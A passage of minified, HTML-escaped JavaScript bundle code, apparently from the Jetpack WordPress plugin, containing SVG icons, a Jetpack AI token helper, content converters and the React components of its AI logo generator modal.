12Z&quot;,fill:&quot;#008710&quot;}),(0,n.jsx)(r.Rect,{x:&quot;12.75&quot;,y:&quot;9&quot;,width:&quot;2.25&quot;,height:&quot;6&quot;,fill:&quot;#008710&quot;}),(0,n.jsx)(r.Rect,{x:&quot;9&quot;,y:&quot;9&quot;,width:&quot;2.25&quot;,height:&quot;6&quot;,fill:&quot;#008710&quot;})]})},96626(e,t,s){&quot;use strict&quot;;var r=s(56427),n=s(10790);r.SVG,r.Path,r.Path},4416(e,t,s){&quot;use strict&quot;;var r=s(56427),n=s(10790);r.SVG,r.Path,r.Rect},67205(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(56427),n=s(10790);const o=(0,n.jsxs)(r.SVG,{width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,fill:&quot;none&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:[(0,n.jsx)(r.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M12.5 10C12.5 11.3807 11.3807 12.5 10 12.5C8.61929 12.5 7.5 11.3807 7.5 10C7.5 8.61929 8.61929 7.5 10 7.5C11.3807 7.5 12.5 8.61929 12.5 10ZM14 10C14 12.2091 12.2091 14 10 14C7.79086 14 6 12.2091 6 10C6 7.79086 7.79086 6 10 6C12.2091 6 14 7.79086 14 10ZM16.75 21V19C16.75 17.4812 15.5188 16.25 14 16.25L6 16.25C4.48122 16.25 3.25 17.4812 3.25 19V21H4.75L4.75 19C4.75 18.3096 5.30964 17.75 6 17.75L14 17.75C14.6904 17.75 15.25 18.3096 15.25 19V21H16.75Z&quot;,fill:&quot;currentColor&quot;}),(0,n.jsx)(r.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M19.976 16.3599C21.2507 14.5642 22.0001 12.3695 22.0001 9.99969C22.0001 7.63128 21.2515 5.43769 19.9782 3.64258L18.754 4.50967C19.8537 6.05996 20.5001 7.95434 20.5001 9.99969C20.5001 12.0464 19.8528 13.9419 18.7519 15.4928L19.976 16.3599ZM17.3357 14.4897C18.2357 13.222 18.7648 11.6727 18.7648 9.99969C18.7648 8.32808 18.2365 6.77984 17.3379 5.51279L16.1137 6.37988C16.8387 7.4021 17.2648 8.65114 17.2648 9.99969C17.2648 11.3496 16.8378 12.5998 16.1116 13.6226L17.3357 14.4897Z&quot;,fill:&quot;currentColor&quot;})]})},96865(e,t,s){&quot;use strict&quot;;s.d(t,{A4:()=&gt;f.A4,AK:()=&gt;h.AK,AZ:()=&gt;m.AZ,DD:()=&gt;f.DD,DT:()=&gt;f.DT,E0:()=&gt;l.A,FC:()=&gt;h.FC,Fs:()=&gt;g.Fs,Gm:()=&gt;f.Gm,HL:()=&gt;h.HL,HM:()=&gt;f.HM,Hb:()=&gt;h.Hb,JR:()=&gt;f.JR,K2:()=&gt;f.K2,L9:()=&gt;m.L9,MB:()=&gt;g.MB,N0:()=&gt;h.N0,ON:()=&gt;n.A,OO:()=&gt;g.OO,Or:()=&gt;m.Or,QA:()=&gt;h.QA,Qr:()=&gt;p.Qr,R0:()=&gt;r.A,RD:()=&gt;h.RD,Rq:()=&gt;f.Rq,Su:()=&gt;g.Su,Tg:()=&gt;b.T,UA:()=&gt;f.UA,UD:()=&gt;f.UD,Vo:()=&gt;p.Vo,Yj:()=&gt;h.Yj,Zo:()=&gt;g.Zo,_E:()=&gt;g.Hh,_G:()=&gt;g._G,be:()=&gt;i.A,br:()=&gt;f.br,cT:()=&gt;m.cT,cj:()=&gt;p.cj,d5:()=&gt;f.d5,dh:()=&gt;d.A,eJ:()=&gt;f.eJ,fD:()=&gt;f.fD,im:()=&gt;f.im,in:()=&gt;g.in,m2:()=&gt;h.m2,mA:()=&gt;m.mA,mI:()=&gt;f.mI,mT:()=&gt;f.mT,ni:()=&gt;p.ni,o2:()=&gt;a.Ay,oZ:()=&gt;f.oZ,pE:()=&gt;f.pE,rh:()=&gt;g.rh,rr:()=&gt;u.A,sn:()=&gt;f.sn,so:()=&gt;f.so,u0:()=&gt;f.u0,uH:()=&gt;m.uH,uQ:()=&gt;f.uQ,ud:()=&gt;m.ud,vE:()=&gt;f.vE,xA:()=&gt;c.A,yM:()=&gt;o.A,yQ:()=&gt;f.yQ,yV:()=&gt;h.yV,yy:()=&gt;f.yy,z3:()=&gt;h.z3,z5:()=&gt;f.z5});s(51391),s(53664),s(87286);var r=s(31439),n=(s(57745),s(42694)),o=s(72448),a=s(46219),i=s(96657),l=s(7804),c=s(97784),u=s(66859),d=(s(62614),s(71508)),p=s(91396),h=s(27802),m=(s(13965),s(78836)),g=s(72586),f=s(43984),b=s(23101)},51391(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(97999),n=s(10067),o=s.n(n),a=s(48931);const i=o()(&quot;jetpack-ai-client:jwt&quot;),l=&quot;jetpack-ai-jwt&quot;;async function c({apiNonce:e,siteId:t,expirationTime:s}={}){e=e||window.JP_CONNECTION_INITIAL_STATE.apiNonce,t=t||window.JP_CONNECTION_INITIAL_STATE.siteSuffix,s=s||12e4;const n=localStorage.getItem(l);let o,c=null;if(n)try{c=JSON.parse(n)}catch(e){i(&quot;Error parsing token&quot;,e)}if(c&amp;&amp;c?.expire&gt;Date.now())return i(&quot;Using cached token&quot;),c;const u=(0,r.isSimpleSite)();o=u?await(0,a.A)({path:&quot;/wpcom/v2/sites/&quot;+t+&quot;/jetpack-openai-query/jwt&quot;,method:&quot;POST&quot;}):await(0,a.A)({path:&quot;/jetpack/v4/jetpack-ai-jwt?_cacheBuster=&quot;+Date.now(),credentials:&quot;same-origin&quot;,headers:{&quot;X-WP-Nonce&quot;:e},method:&quot;POST&quot;});const d={token:o.token,blogId:u?t:o.blog_id,expire:Date.now()+s};return i(&quot;Storing new token&quot;),localStorage.setItem(l,JSON.stringify(d)),d}},20231(e,t,s){&quot;use strict&quot;;s.d(t,{_:()=&gt;n});var r=s(47143);const n=()=&gt;{const e=(0,r.select)(&quot;core/block-editor&quot;).getBlocks(),t=[],s=e=&gt;{t.push(e),e.innerBlocks?.length&amp;&amp;e.innerBlocks.forEach(s)};return e.forEach(s),t}},40464(e,t,s){&quot;use strict&quot;;s.d(t,{Z:()=&gt;r});const r=async e=&gt;{try{const t=await fetch(e),s=await t.arrayBuffer();return`data:image/png;base64,${btoa(new Uint8Array(s).reduce((e,t)=&gt;e+String.fromCharCode(t),&quot;&quot;))}`}catch{return e}}},72586(e,t,s){&quot;use strict&quot;;s.d(t,{Fs:()=&gt;a.F,Hh:()=&gt;r.Hh,MB:()=&gt;n.M,OO:()=&gt;r.OO,Su:()=&gt;r.Su,Zo:()=&gt;l.Z,_G:()=&gt;i._,in:()=&gt;o.i,rh:()=&gt;r.rh});var r=s(55166),n=s(84861),o=s(61269),a=s(1811),i=s(20231),l=s(40464)},84861(e,t,s){&quot;use strict&quot;;s.d(t,{M:()=&gt;n});var r=s(43984);function n(e,t={}){const{language:s,tone:n}=t,o=s?.split(&quot; (&quot;)[0];switch(e){case r.Gm:return`${r.u0}: ${r.so[o].label}`;case r.eJ:return`${r.uQ}: ${r.oZ[n].label}`;case r.yy:return r.DD;case r.A4:return r.HM;case r.UA:return r.JR;case r.br:return r.K2;case r.fD:return r.UD;case r.d5:return r.mI;case r.fv:return r.yQ;case r.vE:return r.mT;case r.im:return r.Rq;case r.sn:return r.DT;default:return null}}},68641(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(21147);const n={paragraph:e=&gt;e.replaceAll(&quot;\n&quot;,&quot;&lt;br /&gt;&quot;)},o={emDelimiter:&quot;_&quot;,headingStyle:&quot;atx&quot;},a={strikethrough:{filter:[&quot;del&quot;,&quot;s&quot;],replacement:function(e){return&quot;~~&quot;+e+&quot;~~&quot;}}};class i{constructor({options:e={},rules:t={},keep:s=[],remove:n=[],fixes:i=[]}={}){this.fixes=i,this.turndownService=new r.A({...o,...e}),this.turndownService.keep(s),this.turndownService.remove(n);const l={...a,...t};for(const e in l)this.turndownService.addRule(e,l[e])}render({content:e}){const t=this.turndownService.turndown(e);return this.fixes.reduce((e,t)=&gt;n[t](e),t)}}},55166(e,t,s){&quot;use strict&quot;;s.d(t,{Hh:()=&gt;i,OO:()=&gt;r.A,Su:()=&gt;n.S,rh:()=&gt;l});var r=s(68641),n=s(31737);const o=new n.A,a=new r.A,i=({content:e,rules:t,extension:s})=&gt;o.render({content:e,rules:t,extension:s}),l=({content:e})=&gt;a.render({content:e})},31737(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l,S:()=&gt;o});var r=s(97158);const n=e=&gt;e.replaceAll(&quot;\x3c!-- wp:list-item --\x3e&quot;,&quot;&quot;).replaceAll(&quot;\x3c!-- /wp:list-item --\x3e&quot;,&quot;&quot;).replaceAll(&quot;\x3c!-- wp:list --\x3e&quot;,&quot;&quot;).replaceAll(&quot;\x3c!-- /wp:list --\x3e&quot;,&quot;&quot;).replaceAll(&quot;&lt;li&gt;&quot;,&quot;\x3c!-- wp:list-item --\x3e&lt;li&gt;&quot;).replaceAll(&quot;&lt;/li&gt;&quot;,&quot;&lt;/li&gt;\x3c!-- /wp:list-item --\x3e&quot;).replaceAll(&quot;&lt;ol&gt;&quot;,&#039;\x3c!-- wp:list {&quot;ordered&quot;:true} --\x3e&lt;ol&gt;&#039;).replaceAll(&quot;&lt;/ol&gt;&quot;,&quot;&lt;/ol&gt;\x3c!-- /wp:list --\x3e&quot;).replaceAll(&quot;&lt;ul&gt;&quot;,&quot;\x3c!-- wp:list --\x3e&lt;ul&gt;&quot;).replaceAll(&quot;&lt;/ul&gt;&quot;,&quot;&lt;/ul&gt;\x3c!-- /wp:list --\x3e&quot;),o={list:(e,t=!1)=&gt;{const s=e.replace(/&lt;li&gt;\s+&lt;p&gt;/g,&quot;&lt;li&gt;&quot;).replace(/&lt;\/p&gt;\s+&lt;\/li&gt;/g,&quot;&lt;/li&gt;&quot;);return t?n(s):s},listItem:(e,t=!1)=&gt;t?n(e.replace(/^&lt;[ou]l&gt;\s*/g,&quot;&quot;).replace(/\s*&lt;\/[ou]l&gt;\s*$/g,&quot;&quot;)):e,paragraph:(e,t=!1)=&gt;t?e.split(&quot;&amp;lt;br /&amp;gt;&quot;).map((e,t,s)=&gt;(t&lt;s.length-1&amp;&amp;(e=e.trimEnd()),t&gt;0&amp;&amp;(e=e.trimStart()),e)).join(&quot;&lt;br /&gt;&quot;):e,table:(e,t=!1,{hasFixedLayout:s=!1})=&gt;t?e.startsWith(&quot;\x3c!-- wp:table&quot;)?e:`\x3c!-- wp:table { &quot;hasFixedLayout&quot;:${s?&quot;true&quot;:&quot;false&quot;} } --\x3e${e}\x3c!-- /wp:table --\x3e`:e},a={breaks:!0},i=[&quot;list&quot;];class l{constructor(e=a){this.markdownConverter=new r.A(e)}render({content:e,rules:t=i,extension:s=!1}){const r=this.markdownConverter.render(e);return t.reduce((e,t)=&gt;o[t](e,s),r)}}},61269(e,t,s){&quot;use strict&quot;;s.d(t,{i:()=&gt;o});var r=s(94715),n=s(47143);function o(e){if(!e)return;const{selectBlock:t}=(0,n.dispatch)(r.store),{enableComplementaryArea:s}=(0,n.dispatch)(&quot;core/interface&quot;);t(e),s(&quot;core/edit-post&quot;,&quot;edit-post/block&quot;)}},1811(e,t,s){&quot;use strict&quot;;s.d(t,{F:()=&gt;n});var r=s(47143);const n=async()=&gt;{const{clearSelectedBlock:e}=(0,r.dispatch)(&quot;core/block-editor&quot;),{enableComplementaryArea:t}=(0,r.dispatch)(&quot;core/interface&quot;);e(),await t(&quot;core/edit-post&quot;,&quot;jetpack-sidebar/jetpack&quot;);const s=document.querySelector(&quot;.jetpack-ai-assistant-panel&quot;),n=s?.classList.contains(&quot;is-opened&quot;),o=s?.querySelector(&quot;h2 button&quot;);n&amp;&amp;o?.click(),setTimeout(()=&gt;{o?.click()},50)}},21902(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});s(8655);var r=s(10790);const n=()=&gt;(0,r.jsxs)(&quot;svg&quot;,{width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,fill:&quot;none&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,className:&quot;jetpack-ai-logo-generator-icon&quot;,children:[(0,r.jsx)(&quot;path&quot;,{d:&quot;M6.99976 3.99994L7.84828 6.15141L9.99976 6.99994L7.84828 7.84847L6.99976 9.99994L6.15123 7.84847L3.99976 6.99994L6.15123 6.15141L6.99976 3.99994Z&quot;}),(0,r.jsx)(&quot;path&quot;,{d:&quot;M16 4L17.1314 6.86863L20 8L17.1314 9.13137L16 12L14.8686 9.13137L12 8L14.8686 6.86863L16 4Z&quot;}),(0,r.jsx)(&quot;path&quot;,{d:&quot;M11 10L12.4142 13.5858L16 15L12.4142 16.4142L11 20L9.58579 16.4142L6 15L9.58579 13.5858L11 10Z&quot;})]})},11574(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});s(8655);var r=s(10790);const n=()=&gt;(0,r.jsx)(&quot;svg&quot;,{width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,fill:&quot;none&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,className:&quot;jetpack-ai-logo-generator-icon&quot;,children:(0,r.jsx)(&quot;path&quot;,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M17.9291 7.96836L10.7308 17.6492L6.2145 14.2911L7.10952 13.0873L10.4221 15.5504L16.7253 7.07333L17.9291 7.96836Z&quot;})})},47621(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});s(8655);var r=s(10790);const n=()=&gt;(0,r.jsx)(&quot;svg&quot;,{width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,fill:&quot;none&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,className:&quot;jetpack-ai-logo-generator-icon&quot;,children:(0,r.jsx)(&quot;path&quot;,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M19.2927 13.7485C18.5014 17.0423 15.5366 19.4901 12 19.4901C8.92508 19.4901 6.28236 17.6396 5.12469 14.9915L8.79556 12.8139L12.2508 14.0309C12.482 14.1123 12.7383 14.0756 12.9374 13.9327L15.8243 11.8601L15.9039 11.8992C16.1998 12.0451 16.6072 12.249 17.0533 12.4807C17.8331 12.8857 18.6946 13.3572 19.2927 13.7485ZM19.499 12.1129C18.9341 11.7788 18.3001 11.4379 17.7447 11.1495C17.287 10.9118 16.8698 10.7031 16.5672 10.5539C16.4158 10.4792 16.2928 10.4193 16.2074 10.378L16.1085 10.3303L16.0824 10.3177L16.0729 10.3132C15.8261 10.1954 15.5347 10.2214 15.3126 10.3809L12.3802 12.4861L8.9634 11.2827C8.75395 11.2089 8.52258 11.2318 8.3316 11.3451L4.65716 13.5248C4.55414 13.0294 4.5 12.5161 4.5 11.9901C4.5 7.84798 7.85786 4.49011 12 4.49011C16.1421 4.49011 19.5 7.84798 19.5 11.9901C19.5 12.0311 19.4997 12.072 19.499 12.1129ZM21 11.9901C21 16.9607 16.9706 20.9901 12 20.9901C7.02944 20.9901 3 16.9607 3 11.9901C3 7.01955 7.02944 2.99011 12 2.99011C16.9706 2.99011 21 7.01955 21 11.9901Z&quot;})})},97034(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});s(8655);var r=s(10790);const n=()=&gt;(0,r.jsxs)(&quot;svg&quot;,{width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,fill:&quot;none&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,className:&quot;jetpack-ai-logo-generator-icon&quot;,children:[(0,r.jsx)(&quot;path&quot;,{d:&quot;M7 6.49011L11 8.99011L7 11.4901V6.49011Z&quot;}),(0,r.jsx)(&quot;path&quot;,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M5 2.99011C3.89543 2.99011 3 3.88554 3 4.99011V18.9901C3 20.0947 3.89543 20.9901 5 20.9901H19C20.1046 20.9901 21 20.0947 21 18.9901V4.99011C21 3.88554 20.1046 2.99011 19 2.99011H5ZM19 4.49011H5C4.72386 4.49011 4.5 4.71397 4.5 4.99011V15.6973L8.12953 13.0508C8.38061 12.8677 8.71858 12.8584 8.97934 13.0274L11.906 14.9243L15.4772 11.4524C15.7683 11.1694 16.2317 11.1694 16.5228 11.4524L19.5 14.3469V4.99011C19.5 4.71397 19.2761 4.49011 19 4.49011ZM4.5 18.9901V17.5537L8.59643 14.5667L11.5921 16.5084C11.8857 16.6987 12.2719 16.6607 12.5228 16.4167L16 13.0361L19.4772 16.4167L19.5 16.3933V18.9901C19.5 19.2663 19.2761 19.4901 19 19.4901H5C4.72386 19.4901 4.5 19.2663 4.5 18.9901Z&quot;})]})},6019(e,t,s){&quot;use strict&quot;;s.d(t,{Q:()=&gt;a});var r=s(56427),n=s(78867),o=s(10790);const a=({variant:e=&quot;error&quot;})=&gt;{const t=(0,n.A)();return&quot;muted&quot;===e?(0,o.jsx)(&quot;span&quot;,{className:&quot;jetpack-ai-fair-usage-notice-muted-variant&quot;,children:t}):&quot;error&quot;===e?(0,o.jsx)(r.Notice,{status:&quot;error&quot;,isDismissible:!1,className:&quot;jetpack-ai-fair-usage-notice&quot;,children:t}):null}},95933(e,t,s){&quot;use strict&quot;;s.d(t,{x:()=&gt;a});var r=s(56427),n=s(27723),o=s(10790);const __=n.__,a=({onCancel:e,onRetry:t})=&gt;{const s=__(&quot;We are sorry. There was an error loading your Jetpack AI plan data. Please, try again.&quot;,&quot;jetpack&quot;),n=__(&quot;We are sorry. There was an error loading your Jetpack AI plan data. Please, reload the page and try again.&quot;,&quot;jetpack&quot;);return(0,o.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator-modal__notice-message-wrapper&quot;,children:[(0,o.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator-modal__notice-message&quot;,children:(0,o.jsx)(&quot;span&quot;,{className:&quot;jetpack-ai-logo-generator-modal__loading-message&quot;,children:t?s:n})}),(0,o.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator-modal__notice-actions&quot;,children:[(0,o.jsx)(r.Button,{variant:&quot;tertiary&quot;,onClick:e,children:__(&quot;Cancel&quot;,&quot;jetpack&quot;)}),t&amp;&amp;(0,o.jsx)(r.Button,{variant:&quot;primary&quot;,onClick:t,children:__(&quot;Try again&quot;,&quot;jetpack&quot;)})]})]})}},76194(e,t,s){&quot;use strict&quot;;s.d(t,{N:()=&gt;a});var r=s(27723),n=s(42669),o=(s(35797),s(10790));const __=r.__,a=({state:e=&quot;loadingFeature&quot;})=&gt;{const t=__(&quot;Loading…&quot;,&quot;jetpack&quot;),s=__(&quot;Analyzing your site to create the perfect logo…&quot;,&quot;jetpack&quot;),r=__(&quot;Generating logo…&quot;,&quot;jetpack&quot;);return(0,o.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator-modal__loading-wrapper&quot;,children:[(0,o.jsx)(n.$,{}),(0,o.jsxs)(&quot;span&quot;,{className:&quot;jetpack-ai-logo-generator-modal__loading-message&quot;,children:[&quot;loadingFeature&quot;===e&amp;&amp;t,&quot;analyzing&quot;===e&amp;&amp;s,&quot;generating&quot;===e&amp;&amp;r]})]})}},64537(e,t,s){&quot;use strict&quot;;s.d(t,{T:()=&gt;S});var r=s(85985),n=s(56427),o=s(47143),a=s(27723),i=s(13022),l=s(10067),c=s.n(l),u=s(51609),d=s(46381),p=s(61356),h=s(60674),m=s(88725),g=s(44461),f=s(19362),b=s(74423),v=s(95933),k=s(76194),y=s(32623),x=s(34706),j=s(11114),w=s(35421),_=s(48204),C=(s(45736),s(10790));const __=a.__,A=c()(&quot;jetpack-ai-calypso:generator-modal&quot;),S=({isOpen:e,onClose:t,onApplyLogo:s,onReload:a=null,siteDetails:l,context:c,placement:S})=&gt;{const{tracks:E}=(0,r.st)(),{recordEvent:N}=E,{setSiteDetails:T,fetchAiAssistantFeature:B,loadLogoHistory:P,setIsLoadingHistory:I}=(0,o.useDispatch)(b.E),{getIsRequestingAiAssistantFeature:M}=(0,o.select)(b.E),[L,R]=(0,u.useState)(null),[D,F]=(0,u.useState)(),O=(0,u.useRef)(!0),z=(0,u.useRef)(!1),[U,H]=(0,u.useState)(!1),[q,V]=(0,u.useState)(!1),{selectedLogo:$,getAiAssistantFeature:G,generateFirstPrompt:W,generateLogo:Z,setContext:J,tierPlansEnabled:K,site:Y,requireUpgrade:Q}=(0,m.A)(),{featureFetchError:X,setFeatureFetchError:ee,firstLogoPromptFetchError:te,clearErrors:se}=(0,g.A)(),re=l?.ID,[ne,oe]=(0,u.useState)(!1),{nextTierCheckoutURL:ae}=(0,h.Q)(),ie=G(),le=(0,u.useCallback)(async()=&gt;{try{R(&quot;analyzing&quot;),N(p.vm,{context:c,tool:&quot;first-prompt&quot;});const e=await W();F(e),R(&quot;generating&quot;),await Z({prompt:e,style:&quot;none&quot;}),R(null)}catch(e){A(&quot;Error generating first logo&quot;,e),R(null)}},[c,W,Z]),ce=(0,u.useCallback)(async()=&gt;{try{if(!re)throw new Error(&quot;Site ID is missing&quot;);if(!ie?.featuresControl?.[&quot;logo-generator&quot;]?.enabled)throw ee(&quot;Failed to fetch feature data&quot;),new Error(&quot;Failed to fetch feature data&quot;);const e=!(0,f.NP)(String(re)),t=ie?.costs?.[&quot;jetpack-ai-logo-generator&quot;]?.logo??p._S,s=1,r=ie?.currentTier?.limit||0,n=ie?.currentTier?.value||0,o=ie?.usagePeriod?.requestsCount||0,a=!(K?1===n:n&gt;0)&amp;&amp;!!ie?.nextTier&amp;&amp;!e&amp;&amp;(K?r-o&lt;t+s:r&lt;o);if(H(0===n),V(a),0===n||a)return void R(null);if(I(!0),await(0,f.Pv)(String(re)),P(re),e)return R(null),void I(!1);if(Q)return R(null),void I(!1);Y&amp;&amp;Y.name&amp;&amp;Y.description&amp;&amp;Y.name!==__(&quot;Site Title&quot;,&quot;jetpack&quot;)?le():(R(null),I(!1))}catch(e){A(&quot;Error fetching feature&quot;,e),R(null),I(!1)}},[ie,le,P,f.Pv,f.NP,re,Q,ee]),ue=(0,u.useCallback)(async()=&gt;{J(c),N(p.iz,{context:c,placement:S}),ce()},[J,c,S,ce]),de=()=&gt;{O.current=!0,t(),R(null),H(!1),V(!1),se(),oe(!1),I(!1),N(p.ub,{context:c,placement:S})},pe=(0,u.useCallback)(()=&gt;{a&amp;&amp;(de(),z.current=!1,a())},[a,de]),he=e=&gt;{oe(!0),s?.(e)},me=()=&gt;{N(p.$i,{context:c})};let ge;return(0,u.useEffect)(()=&gt;{if(re&amp;&amp;T(l),!z.current){M()||(z.current=!0,B())}},[re,l,T,M]),(0,u.useEffect)(()=&gt;{e&amp;&amp;O.current&amp;&amp;(O.current=!1,ue())},[e,ue]),ge=L?(0,C.jsx)(k.N,{state:L}):X||te?(0,C.jsx)(v.x,{onCancel:de,onRetry:a?pe:null}):U||q?(0,C.jsx)(w.R,{onCancel:de,upgradeURL:ae,reason:U?&quot;feature&quot;:&quot;requests&quot;}):(0,C.jsxs)(C.Fragment,{children:[!ne&amp;&amp;(0,C.jsx)(j.X,{initialPrompt:D}),(0,C.jsx)(x.s,{logo:$,onApplyLogo:he,logoAccepted:ne,siteId:String(re)}),ne?(0,C.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator__accept&quot;,children:[(0,C.jsx)(_.H,{}),(0,C.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator__accept-actions&quot;,children:(0,C.jsx)(n.Button,{variant:&quot;primary&quot;,onClick:de,children:__(&quot;Close&quot;,&quot;jetpack&quot;)})})]}):(0,C.jsxs)(C.Fragment,{children:[(0,C.jsx)(y.N,{}),(0,C.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator__footer&quot;,children:(0,C.jsx)(d.A,{onFeedbackClick:me})})]})]}),(0,C.jsx)(C.Fragment,{children:e&amp;&amp;(0,C.jsx)(n.Modal,{className:&quot;jetpack-ai-logo-generator-modal&quot;,onRequestClose:de,shouldCloseOnClickOutside:!1,shouldCloseOnEsc:!1,title:__(&quot;Jetpack AI Logo Generator&quot;,&quot;jetpack&quot;),children:(0,C.jsx)(&quot;div&quot;,{className:(0,i.A)(&quot;jetpack-ai-logo-generator-modal__body&quot;,{&quot;notice-modal&quot;:U||q||X||te}),children:ge})})})}},32623(e,t,s){&quot;use strict&quot;;s.d(t,{N:()=&gt;u});var r=s(85985),n=s(56427),o=s(13022),a=s(26076),i=s(61356),l=s(88725),c=(s(24046),s(10790));const u=()=&gt;{const{tracks:e}=(0,r.st)(),{recordEvent:t}=e,{logos:s,selectedLogo:u,setSelectedLogoIndex:d,context:p,isLoadingHistory:h}=(0,l.A)(),m=e=&gt;{const t=new URL(e);return t.searchParams.has(&quot;resize&quot;)||t.searchParams.append(&quot;resize&quot;,&quot;48,48&quot;),t.toString()};return(0,c.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator__carousel&quot;,children:[!s.length&amp;&amp;h&amp;&amp;(0,c.jsx)(n.Button,{disabled:!0,className:(0,o.A)(&quot;jetpack-ai-logo-generator__carousel-logo&quot;),children:(0,c.jsx)(&quot;img&quot;,{height:&quot;48&quot;,width:&quot;48&quot;,src:a,alt:&quot;loading&quot;})}),!s.length&amp;&amp;!h&amp;&amp;(0,c.jsx)(&quot;div&quot;,{children:&quot; &quot;}),s.map((e,r)=&gt;(0,c.jsx)(n.Button,{className:(0,o.A)(&quot;jetpack-ai-logo-generator__carousel-logo&quot;,{&quot;is-selected&quot;:e.url===u.url}),onClick:()=&gt;(e=&gt;{t(i.Nt,{context:p,logos_count:s.length,selected_logo:e+1}),d(e)})(r),children:(0,c.jsx)(&quot;img&quot;,{src:m(e.url),alt:e.description})},e.url))]})}},42669(e,t,s){&quot;use strict&quot;;s.d(t,{$:()=&gt;a});var r=s(13022),n=s(26076),o=s(10790);const a=({className:e=null})=&gt;(0,o.jsx)(&quot;img&quot;,{src:n,alt:&quot;Loading&quot;,className:(0,r.A)(&quot;jetpack-ai-logo-generator-modal__loader&quot;,e)})},34706(e,t,s){&quot;use strict&quot;;s.d(t,{s:()=&gt;N});var r=s(85985),n=s(56427),o=s(47143),a=s(27723),i=s(10067),l=s.n(i),c=s(11497),u=s(11574),d=s(47621),p=s(97034),h=s(61356),m=s(88725),g=s(44461),f=s(19362),b=s(74423),v=s(42669),k=(s(55941),s(10790));const __=a.__,_x=a._x,y=l()(&quot;jetpack-ai-calypso:logo-presenter&quot;),x=({siteId:e})=&gt;{const{tracks:t}=(0,r.st)(),{recordEvent:s}=t,{saveLogo:a,selectedLogo:i,isSavingLogoToLibrary:l,logos:c,selectedLogoIndex:d,context:g}=(0,m.A)(),v=!!i?.mediaId,{loadLogoHistory:x}=(0,o.useDispatch)(b.E),j=_x(&quot;Saving…&quot;,&quot;Logo save button&quot;,&quot;jetpack&quot;),w=__(&quot;Saved&quot;,&quot;jetpack&quot;);return l||v?(0,k.jsxs)(n.Button,{className:&quot;jetpack-ai-logo-generator-modal-presenter__action&quot;,children:[(0,k.jsx)(n.Icon,{icon:l?(0,k.jsx)(p.A,{}):(0,k.jsx)(u.A,{})}),(0,k.jsx)(&quot;span&quot;,{className:&quot;action-text&quot;,children:l?j:w})]}):(0,k.jsxs)(n.Button,{className:&quot;jetpack-ai-logo-generator-modal-presenter__action&quot;,onClick:async()=&gt;{if(!v&amp;&amp;!l){s(h.h4,{context:g,logos_count:c.length,selected_logo:d?d+1:0});try{const t=await a(i);(0,f.H)({siteId:e,url:i.url,newUrl:t.mediaURL,mediaId:t.mediaId}),x(e)}catch(e){y(&quot;Error saving logo&quot;,e)}}},children:[(0,k.jsx)(n.Icon,{icon:(0,k.jsx)(p.A,{})}),(0,k.jsx)(&quot;span&quot;,{className:&quot;action-text&quot;,children:__(&quot;Save in Library&quot;,&quot;jetpack&quot;)})]})},j=({onApplyLogo:e})=&gt;{const{tracks:t}=(0,r.st)(),{recordEvent:s}=t,{isSavingLogoToLibrary:o,selectedLogo:a,logos:i,selectedLogoIndex:l,context:c}=(0,m.A)();return(0,k.jsxs)(n.Button,{className:&quot;jetpack-ai-logo-generator-modal-presenter__action&quot;,onClick:async()=&gt;{o||(s(h.Zb,{context:c,logos_count:i.length,selected_logo:null!=l?l+1:0}),e?.(a?.mediaId))},disabled:o||!a?.mediaId,variant:&quot;secondary&quot;,children:[(0,k.jsx)(n.Icon,{icon:(0,k.jsx)(d.A,{})}),(0,k.jsx)(&quot;span&quot;,{className:&quot;action-text&quot;,children:__(&quot;Use on block&quot;,&quot;jetpack&quot;)})]})},w=()=&gt;(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(v.$,{className:&quot;jetpack-ai-logo-generator-modal-presenter__logo&quot;}),(0,k.jsx)(&quot;span&quot;,{className:&quot;jetpack-ai-logo-generator-modal-presenter__loading-text&quot;,children:__(&quot;Generating new logo…&quot;,&quot;jetpack&quot;)})]}),_=()=&gt;(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(v.$,{className:&quot;jetpack-ai-logo-generator-modal-presenter__logo&quot;}),(0,k.jsx)(&quot;span&quot;,{className:&quot;jetpack-ai-logo-generator-modal-presenter__loading-text&quot;,children:__(&quot;Fetching previous 